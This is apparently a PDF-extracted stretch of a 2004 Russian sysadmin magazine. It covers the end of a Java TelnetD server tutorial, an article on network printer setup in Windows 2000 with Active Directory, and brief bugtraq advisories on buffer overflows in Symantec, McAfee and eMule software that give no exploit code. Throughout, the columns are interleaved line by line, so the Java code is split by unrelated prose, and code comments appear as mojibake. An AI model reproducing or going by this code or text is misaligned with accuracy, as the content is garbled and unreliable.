который будет ждать ввода пользователем какого-либо + (termIO.getTerminal().supportsSGR() ?
"yes" : "no") + CRLF);
символа и выполнять соответствующее действие. Набор termIO.write("Negotiated columns: "
действий невелик – это выдача дополнительной инфор- + data.getTerminalColumns() + CRLF);
termIO.write("Negotiated rows: "
мации о сеансе, завершение сеанса и останов сервера. + data.getTerminalRows() + CRLF);
Итак, код: termIO.write("Login shell: "
+ data.getLoginShell() + CRLF);
termIO.flush();
package telnetdtest; break;
}
import net.wimpi.telnetd.*; }
import net.wimpi.telnetd.io.*; }
import net.wimpi.telnetd.net.*;
import net.wimpi.telnetd.shell.*; // Ðåàêöèÿ íà ñîáûòèå ñîåäèíåíèÿ: òàéìàóò
public void connectionTimedOut(ConnectionEvent ce) {
public class Test1Shell implements Shell { termIO.write("*** Connection timedout" + CRLF);
termIO.flush();
// Ñîçäàíèå ýêçåìïëÿðà èíòåðïðåòàòîðà êîìàíäíîé ñòðîêè connection.close();
// (îáîëî÷êè). Ýòîò ìåòîä, õîòÿ è íå îïèñàí â èíòåðôåéñå }
// Shell, äîëæåí áûòü ðåàëèçîâàí, òàê êàê îí
// èñïîëüçóåòñÿ ìåíåäæåðîì îáîëî÷åê äëÿ ñîçäàíèÿ // Ðåàêöèÿ íà ñîáûòèå ñîåäèíåíèÿ: áåçäåéñòâèå
// ýêçåìïëÿðà êîíêðåòíîé îáîëî÷êè public void connectionIdle(ConnectionEvent ce) {
public static Shell createShell() { termIO.write("*** Connection idle" + CRLF);
return new Test1Shell(); termIO.flush();
} }

// Ñîáñòâåííî èíòåðïðåòàòîð // Ðåàêöèÿ íà ñîáûòèå ñîåäèíåíèÿ: çàïðîñ íà ðàçðûâ


public void run(Connection con) { // ñîåäèíåíèÿ (Ctrl+D)
connection = con; public void connectionLogoutRequest(ConnectionEvent ce) {
termIO = (TerminalIO) connection.getTerminalIO(); termIO.write("*** Connection logout request" + CRLF);
termIO.flush();
// Ðåãèñòðèðóåì ýòîò îáúåêò â êà÷åñòâå îáðàáîò÷èêà }
// ñîáûòèé ñîåäèíåíèÿ
this.connection.addConnectionListener(this); // Ðåàêöèÿ íà ñîáûòèå ñîåäèíåíèÿ: ðàçðûâ ñîåäèíåíèÿ
public void connectionBroken(ConnectionEvent ce) {
// Âûâîäèì áàííåð, ñîäåðæàùèé íîìåð âåðñèè TelnetD termIO.write("*** Connection broken" + CRLF);
termIO.write("TelnetD testbed 1" termIO.flush();
+ CRLF + "TelnetD version: " }

№5(18), май 2004 83


программирование
# (çàùèòà îò ôëóäà)
// Ðåàêöèÿ íà ñîáûòèå ñîåäèíåíèÿ: ñèãíàë NVT BREAK myListener.floodprotection=5
public void connectionSentBreak(ConnectionEvent ce) {
termIO.write("*** Connection break" + CRLF); # Ìàêñèìàëüíîå êîëè÷åñòâî àêòèâíûõ ñîåäèíåíèé
termIO.flush(); myListener.maxcon=10
}
# Ìàêñèìàëüíîå êîëè÷åñòâî ñîåäèíåíèé, îæèäàþùèõ àêòèâèçàöèè
private Connection connection; myListener.maxqueued=0
private TerminalIO termIO;
# Âðåìÿ áåçäåéñòâèÿ ñîåäèíåíèÿ
private final String CRLF = BasicTerminalIO.CRLF; myListener.time_to_warning=300000

} # Âðåìÿ òàéìàóòà ñîåäèíåíèÿ


myListener.time_to_timedout=100000
Конфигурационный файл для нашего примера описы- # Ïåðèîäè÷íîñòü ïðîâåðêè áåçäåéñòâèÿ è òàéìàóòà
вает параметры ведения протоколов работы TelnetD, пе- myListener.housekeepinginterval=1000
речни известных терминалов, оболочек и слушателей с # Ðåæèì ââîäà
указанием реализующих их классов и параметров: myListener.inputmode=character

# Èìÿ îáîëî÷êè, çàïóñêàåìîé ñëóøàòåëåì


#===================================================== myListener.loginshell=myShell
# Ïàðàìåòðû ñèñòåìíûõ æóðíàëîâ
#===================================================== # Êëàññ ôèëüòðà ñîåäèíåíèé
myListener.connectionfilter=
syslog=on
syslog.media=terminal
syslog.stampformat=[yyyy-MM-dd hh:mm:ss z] Теперь создадим программу, которая запустит наш
syslog.path=
Telnet-сервер:
#=====================================================
# Ïàðàìåòðû îòëàäî÷íûõ æóðíàëîâ package telnetdtest;
#=====================================================
debuglog=off import java.io.*;
import java.util.*;
debuglog.media=terminal
debuglog.stampformat=[yyyy-MM-dd hh:mm:ss z]
debuglog.path= import net.wimpi.telnetd.*;

#===================================================== public class Test1 {


# Òåðìèíàëû public static void main(String[] args)
#===================================================== throws Exception {
# Èçâåñòíûå òåðìèíàëû System.out.println("TelnetD testbed 1");
terminals=vt100,ansi,windoof,xterm
# Êëàññû òåðìèíàëîâ // Çàãðóæàåì íàñòðîéêè TelnetD èç ôàéëà
Properties settings = new Properties();
term.vt100.class=net.wimpi.telnetd.io.terminal.vt100 settings.load(new FileInputStream("test1.properties"));
term.ansi.class=net.wimpi.telnetd.io.terminal.ansi
term.windoof.class=net.wimpi.telnetd.io.terminal.Windoof // Ñîçäàåì ñåðâåð
term.xterm.class=net.wimpi.telnetd.io.terminal.xterm TelnetD daemon = TelnetD.createTelnetD(settings);
# Àëèàñû òåðìèíàëîâ // Ðàçðåøàåì ñåðâåðó ðàáîòàòü
term.vt100.aliases=default,vt100-am,vt102,dec-vt100 daemon.setServing(true);
term.ansi.aliases=color-xterm,xterm-color,vt320,vt220,linux
term.windoof.aliases= }
term.xterm.aliases= }
#=====================================================
# Îáîëî÷êè
#===================================================== Интерфейс пользователя
# Èçâåñòíûå îáîëî÷êè В предыдущем примере для организации общения с
shells=myShell пользователем применялись возможности посимвольно-
#------------------------------------------- го ввода, которых явно недостаточно для реальных при-
# Ïàðàìåòðû îáîëî÷êè myShell ложений.
#-------------------------------------------
Пакет net.wimpi.telnetd.io.toolkit предоставляет инстру-
# Êëàññ îáîëî÷êè менты для организации более развитого диалога с пользо-
shell.myShell.class=telnetdtest.Test1Shell
вателем. В число этих инструментов входят как активные
#===================================================== (взаимодействующие с пользователем каким-либо обра-
# Ñëóøàòåëè
#===================================================== зом), так и пассивные (только лишь отображающие что-
либо) компоненты.
# Èçâåñòíûå ñëóøàòåëè
listeners=myListener Активные компоненты представлены однострочным
(класс Editfield) и многострочным (класс Editarea) редак-
#-------------------------------------------
# Ïàðàìåòðû ñëóøàòåëÿ myListener торами, меню (класс Selection), флажком (класс Checkbox)
#------------------------------------------- и пейджером (класс Pager). Для работы с активным ком-
# Ïîðò, íà êîòîðîì ñëóøàòåëü îæèäàåò ñîåäèíåíèÿ понентом необходимо создать нужный объект, вызвать
myListener.port=7241 соответствующие методы для настройки параметров, выз-
# Ìàêñèìàëüíîå êîëè÷åñòâî çàïðîñîâ íà ñîåäèíåíèå вать метод run(), приводящий к активизации компонента,

84
программирование
и, наконец, вызвать метод getValue() для получения ре- termIO.write(CRLF + "Your input: " + CRLF
зультатов работы компонента. + editfield.getValue() + CRLF);
termIO.flush();
Пассивные компоненты – это метка (класс Label), стро-
ки заголовка (класс Titlebar) и статуса (класс Statusbar). break;
Для пассивного компонента после создания и настройки case 1: // äåìîíñòðàöèÿ âîçìîæíîñòåé
параметров необходимо вызывать метод draw(), что при- // ìíîãîñòðî÷íîãî ðåäàêòîðà
termIO.eraseScreen();
ведет к отображению компонента. termIO.homeCursor();
Посмотрим некоторые из этих компонентов в деле. Для termIO.write("Editarea demo" + CRLF
+ "-------------" + CRLF);
этого изменим код метода run(…) в интерпретаторе из
первого примера. Теперь он выглядит так: final int MAX_EDITAREA_ROWS = 4;

// Âûâîäèì ïîäñêàçêó ê ðåäàêòîðó


public void run(Connection con) { termIO.write(CRLF + "Type any text (max "
connection = con; + MAX_EDITAREA_ROWS + " rows), press [Tab] "
termIO = (TerminalIO) connection.getTerminalIO(); + "to finish typing" + CRLF + "Text:" + CRLF);
termIO.flush();
// Ðåãèñòðèðóåì ýòîò îáúåêò â êà÷åñòâå îáðàáîò÷èêà
// ñîáûòèé ñîåäèíåíèÿ // Ñîçäàåì ìíîãîñòðî÷íûé ðåäàêòîð
this.connection.addConnectionListener(this); Editarea editarea = new Editarea(termIO, "",
MAX_EDITAREA_ROWS, MAX_EDITAREA_ROWS);
while (true) {
// Î÷èùàåì ýêðàí // Æäåì ââîäà îò ïîëüçîâàòåëÿ
termIO.eraseScreen(); editarea.run();

// Ñîçäàåì è îòîáðàæàåì ñòðîêè çàãîëîâêà è ñòàòóñà // Ïîêàçûâàåì ïîëüçîâàòåëþ ðåçóëüòàò


Titlebar title = new Titlebar(termIO, ""); termIO.write(CRLF + "Your input: " + CRLF
title.setTitleText("TelnetD testbed 2"); + editarea.getValue() + CRLF);
title.setForegroundColor(ColorHelper.YELLOW); termIO.flush();
title.setBackgroundColor(ColorHelper.BLUE);
title.setAlignment(Titlebar.ALIGN_CENTER); break;
title.draw();
Statusbar status = new Statusbar(termIO, ""); case 2: // çàâåðøåíèå ñåàíñà
status.setStatusText("TelnetD version: " connection.close();
+ TelnetD.getReference().getVersion()); return;
status.setForegroundColor(ColorHelper.YELLOW);
status.setBackgroundColor(ColorHelper.BLUE); case 3: // îñòàíîâ ñåðâåðà
status.setAlignment(Statusbar.ALIGN_RIGHT); TelnetD.getReference().setServing(false);
status.draw(); TelnetD.getReference().shutdown();
System.exit(0);
// Âûâîäèì ïîäñêàçêó ê ìåíþ return;
termIO.homeCursor(); }
termIO.moveCursor(BasicTerminalIO.DOWN, 5);
termIO.write(CRLF + "Use arrow keys to select " // Æäåì, ïîêà ïîëüçîâàòåëü íàæìåò ëþáóþ êëàâèøó
+ "command, [Enter] or [Tab] to run command" termIO.write(CRLF + "Press any key");
+ CRLF + "Command:" + CRLF); termIO.flush();
termIO.flush(); termIO.read();
}
// Ñîçäàåì ìåíþ âûáîðà è àêòèâèçèðóåì åãî }
Selection menu = new Selection(termIO, "");
menu.addOption("Editfield demo");
menu.addOption("Editarea demo");
menu.addOption("Exit");
menu.addOption("Shutdown");
Заключение
menu.run(); Итак, используя TelnetD, можно с минимальными затра-
тами обеспечить возможность удаленного управления
// Ïîëó÷àåì âûáîð ïîëüçîâàòåëÿ
int cmd = menu.getSelected(); Java-приложением по протоколу Telnet.
Здесь, однако, следует отметить, что протокол Telnet
// Ðåàãèðóåì ñîîòâåòñòâóþùèì îáðàçîì
switch (cmd) { передает все данные «открытым текстом», а значит, ис-
case 0: // äåìîíñòðàöèÿ âîçìîæíîñòåé пользование его в публичных сетях небезопасно. В каче-
// îäíîñòðî÷íîãî ðåäàêòîðà
termIO.eraseScreen(); стве альтернативы протоколу Telnet для применения в пуб-
termIO.homeCursor(); личных сетях можно предложить нестандартные расши-
termIO.write("Editfield demo" + CRLF
+ "--------------" + CRLF); рения протокола Telnet или протокол SSH.
final int MAX_EDITFIELD_CHARS = 20;
Ссылки:
// Âûâîäèì ïîäñêàçêó ê ðåäàêòîðó 1. http://www.faqs.org/rfcs/rfc854.html – спецификация про-
termIO.write(CRLF + "Type any text (max "
+ MAX_EDITFIELD_CHARS + " chars), press " токола Telnet.
+ "[Enter] or [Tab] to finish typing" 2. http://telnetd.sourceforge.net/ – домашняя страница TelnetD.
+ CRLF + "Text:" + CRLF);
termIO.flush(); 3. http://ant.apache.org/ – домашняя страница Jakarta Ant.
4. http://www.pvv.ntnu.no/~asgaut/crypto/thesis/thesis.html –
// Ñîçäàåì îäíîñòðî÷íûé ðåäàêòîð
Editfield editfield = new Editfield(termIO, вариант модификации протокола Telnet с целью повы-
"", MAX_EDITFIELD_CHARS); шения безопасности.
// Æäåì ââîäà îò ïîëüçîâàòåëÿ 5. http://www.ietf.org/html.charters/secsh-charter.html – ма-
editfield.run(); териалы рабочей группы IETF Secure Shell по стандар-
// Ïîêàçûâàåì ïîëüçîâàòåëþ ðåçóëüòàò тизации протокола SSH.

№5(18), май 2004 85


образование

УПРАВЛЕНИЕ СЕТЕВОЙ ПЕЧАТЬЮ


В WINDOWS 2000
ЧАСТЬ 1

Во многих крупных организациях используется сетевая печать. В этой статье будет рассмотрен
круг вопросов, касающихся обеспечения сетевой печати в Windows-доменах, функционирующих
на основе протокола TCP/IP. Статья состоит из 2 частей: в первой части описан процесс установки
сетевого принтера в домене Windows, во второй – обеспечение автоматизированного подключения
принтера к пользователю.

ИВАН КОРОБКО

88
образование
Сетевой принтер ря на это самым популярным способом подключения яв-
Любой сетевой принтер представляет собой печатающее ляется сетевое соединение.
устройство, снабженное сетевым аппаратным обеспече-
нием, а именно: сетевой картой, дополнительной памя- Соглашение об именах
тью, а в некоторых случаях жестким диском для буфери- Имя должно содержать как можно больше информации
зации больших документов. Для обеспечения связи эти о принтере, и при этом быть удобным для использова-
принтеры используют протоколы, поддерживаемые ва- ния. На рабочих станциях под управлением операцион-
шей сетью, как правило, таким транспортным протоко- ной системы Windows, пользователь имеет дело с двумя
лом является TCP/IP, и имеют собственные IP-адреса. именами – именем принтера и сетевым именем. Имя
Сетевой принтер имеет веб-интерфейс, позволяющий принтера – это имя, назначаемое принтеру во время ус-
быстро и просто удаленно менять настройки печатающе- тановки. Длина имени ограничивается 220 символами.
го устройства. Сетевое имя назначается принтеру для использования в
Соединение локальных принтеров с сетью может быть сети. Максимальная длина сетевого имени составляет
реализовано с помощью Jet Direct. Jet Direct – это устрой- 80 символов, хотя его не рекомендуется делать длиннее
ство, преобразующее LPT/USB-интерфейс в сетевой. С 8 символов для обеспечения совместимости с клиента-
помощью этого устройства к сети может быть подключе- ми MS-DOS и Windows 3.x. Некоторые приложения не
но несколько принтеров. могут работать с принтерами, у которых полное состав-
Сетевые принтеры чаще всего используются с серве- ное имя (имя компьютера, объединенное с сетевым име-
рами печати, но могут функционировать и самостоятель- нем принтера по шаблону \\Server_Name\Printer_Share_
но в сети, что экономично, поскольку не требует приобре- Name) длиннее 31 символа.
тения сервера. Чаще всего имя, назначаемое принтеру, представля-
Тем не менее, если нет сервера, формирующего оче- ет собой реальное имя принтера с порядковым номером,
редь печати, то каждый пользователь создает свою соб- если есть несколько принтеров одинаковой модели, на-
ственную очередь печати и не может видеть, где его пример, HP LaserJet 2300 (1), HP LaserJet 2300 (2). Такой
документ находится относительно других документов в способ именования рекомендуется использовать в не-
глобальной очереди принтера. Из-за отсутствия единой больших организациях. В крупных корпорациях принцип
очереди печати невозможно централизованное управ- именования принтеров может быть другим. Например,
ление заданиями. Только пользователь, документ ко- названия могут быть даны по именам отделов и офисов,
торого в настоящее время печатается на принтере, в где территориально находится принтер, например, «Крас-
случае ошибки печати может ее видеть. Наконец, пред- нодар ОКС» или «Ростов АТС-34».
варительная печать документов осуществляется на ра- Сетевое имя, как отмечено ранее, должно быть бо-
бочей станции пользователя, что увеличивает нагруз- лее коротким, но при этом не должно терять смысловой
ку на нее. нагрузки. Оно чаще всего представляет собой общую ха-
По этим причинам желательно наличие сервера печа- рактеристику принтера, например, HP2300_1.
ти при работе с сетевыми принтерами.
Установка и настройка сетевого
Сервер печати принтера
Сервер печати – это компьютер, который управляет связя-
ми между принтерами и рабочими станциями в сети, жела- Теория
ющими воспользоваться предоставляемыми услугами. Для подключения принтера, имеющего USB- или LPT-ин-
В сетях, построенных на основе Microsoft Windows, в терфейс к сети, необходимо использовать JetDirect, кото-
качестве сервера печати может быть использован Windows рый представляет собой небольшой компьютер, снабжен-
2000 Professional или Windows 2000 Server. В качестве ный сетевой платой, оперативной памятью, имеющий про-
сервера выгоднее использовать Windows 2000 Server, по- граммное обеспечение – веб-интерфейс, с помощью ко-
скольку Windows 2000 Professional поддерживает всего торого осуществляется настройка.
лишь 10 подключений одновременно и не может осуще- В принтере, имеющем встроенный сетевой интерфейс,
ствлять поддержку клиентов Macintosh или NetWare, если находится компьютер, в котором присутствует оператив-
таковые имеются в сети. ная память, жесткий диск для обеспечения буферизации
Принтеры могут соединяться с сервером печати либо заданий и более сложное программное обеспечение, до-
по сети, либо напрямую – через параллельный интер- ступ к которому также осуществляется через веб-интер-
фейс, хотя второй вариант менее предпочтителен, по- фейс или через панель управления на принтере.
скольку требует значительных затрат процессорного вре- Перед тем как начать установку принтера на сервере
мени на обслуживание порта и физически «привязыва- печати, необходимо выполнить настройку сетевого интер-
ет» печатающее устройство к серверу, т.к. кабель, со- фейса принтера. Настройку удобнее всего производить
единяющий LPT-порты сервера и принтера, имеет огра- через веб-интерфейс.
ничения по длине. Доступ к веб-интерфейсу принтера осуществляется
Принтеры, соединяющиеся с сервером печати через с помощью любого браузера (Internet Explorer, Opera или
USB или IEE1394 (FireWire), позволяют уменьшить нагруз- Netscape Navigator) по IP-адресу или по сетевому име-
ку на процессор и увеличить скорость печати, но несмот- ни принтера. Некоторые принтеры имеют заводскую

№5(18), май 2004 89


образование
предустановку IP-адреса, о чем обязательно написано кий IP-адрес, введенный в настройках TCP/IP на веб-ин-
в инструкции. В том случае если IP-адрес неизвестен, терфейсе принтера.
необходимо распечатать конфигурационный лист прин- В процессе установки принтера задаются имя прин-
тера. В случае если в принтер сетевой интерфейс встро- тера и сетевое имя принтера. Оба имени должны соот-
ен, то печать осуществляется с помощью выбора соот- ветствовать принятому соглашению об именах. Жела-
ветствующего пункта меню на панели управления прин- тельно, чтобы сетевое имя принтера (share name) совпа-
тера. Если сетевой интерфейс не встроен в принтер, дало с сетевым именем принтера (host name), заданным
т.е. используется JetDirect, то необходимо нажать на в веб-интерфейсе. Таким образом, сетевое имя принте-
кнопку, находящуюся на корпусе Jet Direct, которая ини- ра (host name), по которому можно войти в веб-интер-
циализирует вывод текущей конфигурации устройства фейс, будет совпадать с сетевым именем принтера (share
на печать. name), по которому будет осуществляться подключение
Конфигурационная страница принтера, имеющего принтера к пользователю. Такая унификация имен дает
встроенный сетевой интерфейс или JetDirect, содержит нам отсутствие путаницы в настройках, обеспечивает
следующую информацию: модель и серийный номер простоту визуального восприятия.
принтера, параметры настройки сетевого адаптера, его После установки принтера на сервере печати необ-
серийный номер, МАС-адрес, количество распечатанных ходимо убедиться, что в его настройках выбрана опция
и застрявших в принтере страниц, настройки протоко- «List in Active Directory».
лов TCP/IP, IPX/SPX, AppleTalk и др. Для реализации автоматического подключения прин-
После вывода конфигурационного листа на печать в тера к пользователям, имеющим право печатать и уп-
разделе, посвященном настройкам протокола TCP/IP, не- равлять очередью печати, необходимо опубликовать
обходимо определить IP-адрес сетевого принтера для принтер в службе каталогов Active Directory. В AD для
того, чтобы войти и соединиться с его веб-интерфейсом. каждого сетевого принтера рекомендуется создать OU
Поскольку сеть функционирует на основе протокола (Organization Unit), в котором разместится опубликован-
TCP/IP, то все остальные протоколы связи в принтере/ ный в AD принтер и 2 группы безопасности, определя-
Jet Direct можно отключить через веб-интерфейс. ющие уровни доступа к нему пользователей. В соответ-
В настройках оставшегося протокола необходимо ука- ствии с принятым соглашением об именах рекоменду-
зать сетевое имя принтера, по которому в будущем бу- ется использовать следующий шаблон для создания на-
дет удобно обращаться к веб-интерфейсу принтера. Се- званий групп. Название первой группы, члены которой
тевое имя принтера (host name) должно соответствовать могут только выводить задания на печать, рекоменду-
принятому соглашению об именах, например, HP2300_1. ется строить следующим образом: к сетевому имени
Это имя автоматически будет прописано в службе DNS. принтера через дефис прибавляется слово Print, напри-
Если необходимо задать альтернативное сетевое имя мер, «HP2300_1-Print». Название второй группы стро-
принтера, то можно вручную создать соответствующую ится аналогично, с той разницей, что слово «Print» ре-
запись в службе DNS. комендуется заменить на словосочетание «Print Mana-
Также необходимо определить способ получения IP- gers». Члены второй группы могут управлять очередью
адреса. Для этого нужно выполнить настройку свойств печати и принтером. О том, как задаются права на груп-
протокола TCP/IP так, чтобы IP-адрес выделялся служ- пы, – чуть позже.
бой DHCP. Подключение сетевых принтеров осуществляется при
В том случае, если служба DHCP не используется, то регистрации пользователя в сети в автоматическом ре-
необходимо на веб-интерфейсе принтера указать стати- жиме. Пользователю, входящему хотя бы в одну из 2
ческий IP-адрес принтера. групп безопасности, осуществляется подключение соот-
Чтобы служба DHCP всегда выделяла один и тот же ветствующего принтера. Если пользователь не входит ни
адрес, необходимо его зарезервировать для данного се- в одну из этих групп, то сценарий отключает принтер у
тевого устройства. Резервирование адреса осуществля- пользователя.
ется на основе MAC-адреса сетевого адаптера. MAC-ад- Автоматизирование подключения/отключения принте-
рес (Medium Access Control) – это уникальное число дли- ров осуществляется с помощью сценария регистрации.
ной 48-бит, использующееся для установки соответствия Сценарий регистрации будет подробно рассмотрен во
между TCP/IP и адресом канального уровня. второй части статьи.
Значение MAC-адреса можно найти на конфигураци- Для того чтобы обеспечить подключения по группам,
онном листе, веб-интерфейсе принтера или на корпусе необходимо на сервере печати изменить права на дос-
принтера/JetDirect. туп к данному принтеру, удалив из списка объектов (поль-
Следующий этап – установка сетевого принтера. На зователей и групп), которые могут осуществлять печать,
сервере печати сетевой принтер устанавливается в ка- группу Everyone (Все) и добавив туда две соответствую-
честве локального устройства с той разницей, что вмес- щие данному принтеру группы. Группе Print необходимо
то локального порта (параллельного или USB) создает- выставить флажок напротив свойства Print (печать), груп-
ся стандартный порт TCP/IP, который имеет два пара- пе Print Managers – Manage Documents (управление до-
метра – IP-адрес и название порта. В качестве IP-адреса кументами).
задается зарезервированный в службе DHCP адрес, если Изложив теоретические аспекты установки и настройки
служба DHCP не используется, то указывается статичес- сетевого принтера, рассмотрим этот вопрос на практике.

90
образование
Постановка задачи адаптером JetDirect. Воспользовавшись любым браузе-
Необходимо подключить принтер HP LaserJet 1200 с по- ром, например, Internet Explorer, войдите на веб-интер-
мощью сетевого интерфейса к серверу печати. Обеспе- фейс принтера, вводя к адресной строке IP-адрес, при-
чить сетевому принтеру статическое выделение IP-адре- веденный в листе конфигурации сетевого принтера, в
са 192.168.2.1 службой DHCP. Опубликовать принтер в данном случае JetDitect.
Active Directory и создать две группы, определяющие раз- С помощью веб-интерфейса необходимо выключить
личный уровень доступа к принтеру и очереди печати (см. все протоколы, кроме TCP/IP. Протокол TCP/IP следует
теоретическую часть). настроить так, чтобы IP-адрес сетевой адаптер получал
от службы DHCP, и назначить сетевое имя принтера (host
Практика name) в соответствии с поставленной задачей и приня-
Принтер HP LaserJet 1200 имеет два интерфейса – LPT и тым соглашением о именах – HP1200_1 (см. рис. 1). На
USB. Для подключения принтера к сети необходимо ис- этом настройка сетевого интерфейса принтера с помо-
пользовать JetDirect, который преобразует один из ин- щью веб-интерфейса завершена.
терфейсов в сетевой. После соединения принтера к Следующим этапом установки сетевого принтера в
JetDirect и подключения получившегося сетевого прин- сети является резервирование для него IP-адреса. Для
тера к сети, необходимо вывести на печать конфигура- того чтобы зарезервировать IP-адреса в службе DHCP,
ционный лист. выделите папку «Reservation» и, нажав правую кнопку
Для этого нажмите на корпусе JetDirect соответству- на этой папке, выберете пункт меню «New Reservation».
ющую кнопку. Анализируя конфигурационный лист, не- Появится окно (см. рис. 2), в котором необходимо ука-
обходимо определить IP-адрес, который получен сетевым зать имя, IP-адрес и MAC-адрес принтера.

Ðèñóíîê 1

№5(18), май 2004 91


образование
На рис. 2 продемонстрировано, что служба DHCP бу-
дет выдавать устройству с именем HP1200_1, обладаю-
щим сетевым интерфейсом с MAC-адресом 0001e64a49cb,
один и тот же IP-адрес – 192.168.2.1.

Ðèñóíîê 3

Ðèñóíîê 2
После настройки службы DHCP и веб-интерфейса мож-
но приступить к установке сетевого принтера на сервере
печати. Принтер устанавливается как локальный, с той раз-
ницей, что он подключается к стандартному порту TCP/IP.
Порт имеет два параметра – имя и IP-адрес. Имя порта
образуется исходя из IP-адреса: IP_xxx.xxx.xxx.xxx. Однако
рекомендуется сделать так, чтобы имя порта совпадало с
сетевым именем принтера. Этот шаг упростит админист-
рирование принтера в будущем. Для установки принтера
на сервере печати необходимо выполнить следующее:
! Щелкнуть по кнопке Start, выбрать команду Settings,
затем щелкнуть на Printers, чтобы открыть папку Ðèñóíîê 4
Printers; ! Выберите устанавливаемый принтер из списка. В том
! Дважды щелкнуть на значок Add Printers, чтобы запус- случае если драйвера принтера не являются стандар-
тить мастер установки принтера; тными, нажмите на кнопку Have Disk… и укажите путь
! Щелкните по кнопке Next, чтобы мастер Add Printer к драйверу;
Wizard начал работу; ! После установки драйвера в появившемся окне Printer
! В появившемся окне предлагается сделать выбор спо- Sharing выберите опцию Share As для того, чтобы сде-
соба подключения принтера – в качестве локального лать принтер доступным для других пользователей
или сетевого. Необходимо выбрать опцию Local Printer сети, и укажите сетевое имя принтера в соответствии
(локальный принтер) и удалить флажок из поля Auto- с принятым соглашением об именах, например,
matically Detect My Printer (автоматическое определе- HP1200_1 (см. рис. 5). Щелкните по кнопке Next;
ние принтера); ! Введите локальное имя принтера (см. рис. 6) и запол-
! В следующем окне необходимо выбрать тип порта. Вы- ните поля, характеризующие принтер, например, его
берите опцию Create A New Port (создать новый порт), местоположение. Локальное имя принтера также дол-
а в раскрывающемся списке – Standard Port TCP/IP жно удовлетворять принятому соглашению об именах,
(стандартный порт TCP/IP). После этого Windows 2000 например, HP LaserJet 1200 (1);
запустит мастер Add Standard TCP/IP Printer Port Wizard; ! По окончании установки принтера вам будет предло-
! В появившемся окне необходимо ввести IP-адрес и на- жено распечатать тестовую страницу.
звание порта в соответствии с поставленной задачей
(см. рис. 3). Необходимо помнить, что желательно, что- На этом настройка принтера не закончена: необходи-
бы принтер был подключен к сети, т.к. после создания мо определить параметры безопасности принтера, для
порта Windows пытается соединиться с принтером, и в этого в Active Directory необходимо создать две группы
случае возникновения ошибки связи будет запрошена безопасности. Члены одной из этих групп смогут только
дополнительная информация (см. рис. 4). После ус- печатать на этом принтере, члены другой – управлять
пешного соединения с принтером мастер Add Standard всей очередью печати и состоянием принтера. В соот-
TCP/IP Printer Port Wizard заканчивает свою работу; ветствии с принятыми правилами наименования групп

92
образование
(см. раздел «Теория») первая группа будет называться удалить группу Everyone (все), т.к. в противном случае
HP1200-Print, вторая – HP1200-Print Managers. Посколь- принтер будет подключаться ко всем пользователям сети,
ку в средних и крупных организациях используется не- и добавить две группы безопасности, соответствующие
сколько сетевых принтеров, то в AD рекомендуется со- данному принтеру, в данном случае HP1200_1-Print и
здать OU, например, Network Printers, в котором будут HP1200_1-Print Managers. Для группы HP1200_1-Print
находиться OU, названия которых совпадают с названи- необходимо установить в разделе Permissions (разреше-
ями принтеров. В каждом из этих OU будет содержаться ния) флажок напротив свойства Print (см. рис .8), а для
три объекта – сетевой принтер, опубликованный в AD, и группы HP1200_1-Print Managers – флажки напротив Print
две группы безопасности, определяющие уровень дос- (печать) и Manage Documents (управление документами).
тупа к принтеру (см. рис. 7). Наличие такой структуры Ставить флажок напротив Manage Printers не рекомен-
позволяет реализовать автоматизированное подключе- дуется, поскольку управление принтерами подразумева-
ние сетевых принтеров тем пользователям, которые име- ет возможность изменять свойства принтера, удалять
ют права работать с этим принтером. его. По мнению автора, такими привилегиями может об-
ладать только системный администратор.

Ðèñóíîê 7

Ðèñóíîê 5

Ðèñóíîê 8
На этом установка и настройка сетевого принтера за-
вершены.
В следующей статье будет описан процесс создания
Ðèñóíîê 6 сценария, который, основываясь на данных AD, будет во
После окончания настройки нужно выполнить на- время регистрации пользователя в сети обеспечивать
стройку безопасности принтера. Для этого необходимо автоматическое подключение/отключение принтеров в
войти в свойства принтера на сервере печати во вклад- зависимости от членства в соответствующих группах бе-
ку Security (безопасность). В этой вкладке необходимо зопасности.

№5(18), май 2004 93


bugtraq

Переполнение стекового буфера Переполнение буфера в Symantec Security


в Symantec Norton AntiSpam в sysspam.dll Check ActiveX в GetPrivateProfileString()
Программа: Symantec Norton AntiSpam 2004. Программа: Symantec Security Check.
Опасность: Высокая. Опасность: Высокая.
Описание: Переполнение буфера обнаружено в Norton Описание: Уязвимость обнаружена в Symantec Security
AntiSpam в sysspam.dll ActiveX-компоненте. Удаленный Check в ActiveX-управлении, отвечающем за обнаруже-
пользователь может выполнить произвольный код на це- ние вирусов. Удаленный пользователь может выполнить
левой системе. произвольный код на целевой системе.
SymSpamHelper Class (c:\program files\common files\ Удаленный пользователь может сконструировать HTMl-
symantec shared\antispam\symspam.dll) устанавливается по файл, который вызовет переполнение буфера в Symantec
умолчанию и помечен как безопасный для сценариев. RuFSI Utility Class ActiveX control (rufsi.dll) в объекте
Удаленный пользователь может сконструировать HTML, Symantec.SymVAFileQuery.1' GetPrivateProfileString() фун-
который, когда будет загружен целевым пользователем, кции. Уязвимы системы, на которых предварительно был
вызовет dll через LaunchCustomRuleWizard-метод и пред- запущен Symantec Security Check.
ставит чрезмерно длинный параметр, чтобы вызвать пе- URL производителя: http://www.symantec.com.
реполнение стекового буфера. Код будет выполнен с при- Решение: Способов устранения обнаруженной уязвимо-
вилегиями целевого пользователя. сти не существует в настоящее время.
URL производителя: http://www.symantec.com/antispam.
Решение: Установите обновление, доступное через Live Удаленное переполнение буфера в eMule
Update. Программа: eMule 0.42d.
Опасность: Высокая.
Переполнение буфера в McAfee FreeScan Описание: Уязвимость обнаружена в eMule в декодирова-
ActiveX Control нии шестнадцатиричных строк. Удаленный пользователь
Программа: McAfee FreeScan. может выполнить произвольный код на целевой системе.
Опасность: Высокая. Переполнение стекового буфера обнаружено в функ-
Описание: Переполнение буфера обнаружено в McAfee ции DecodeBase16(), вызываемой в коде веб-сервера и в
FreeScan ActiveX управлении. Удаленный пользователь коде IRC-клиента.
может выполнить произвольный код на системе. Удаленный пользователь, например, может послать
Удаленный пользователь может сконструировать HTMl- специально обработанную IRC SENDLINK-команду целе-
файл, который, когда будет загружен целевым пользова- вому пользователю, чтобы выполнить произвольный код
телем, вызовет McFreeScan.CoMcFreeScan.1-объект, что- на целевой системе.
бы получить информацию о целевой системе пользовате- URL производителя: http://www.emule-project.net.
ля, типа имен пути и имени пользователя. Решение: Установите обновленную версию программы:
Также сообщается, что переполнение буфера обнару- http://www.emule-project.net/home/perl/general.cgi?l=
жено в параметре ScanParam. Уязвимость может исполь- 1&rm=download.
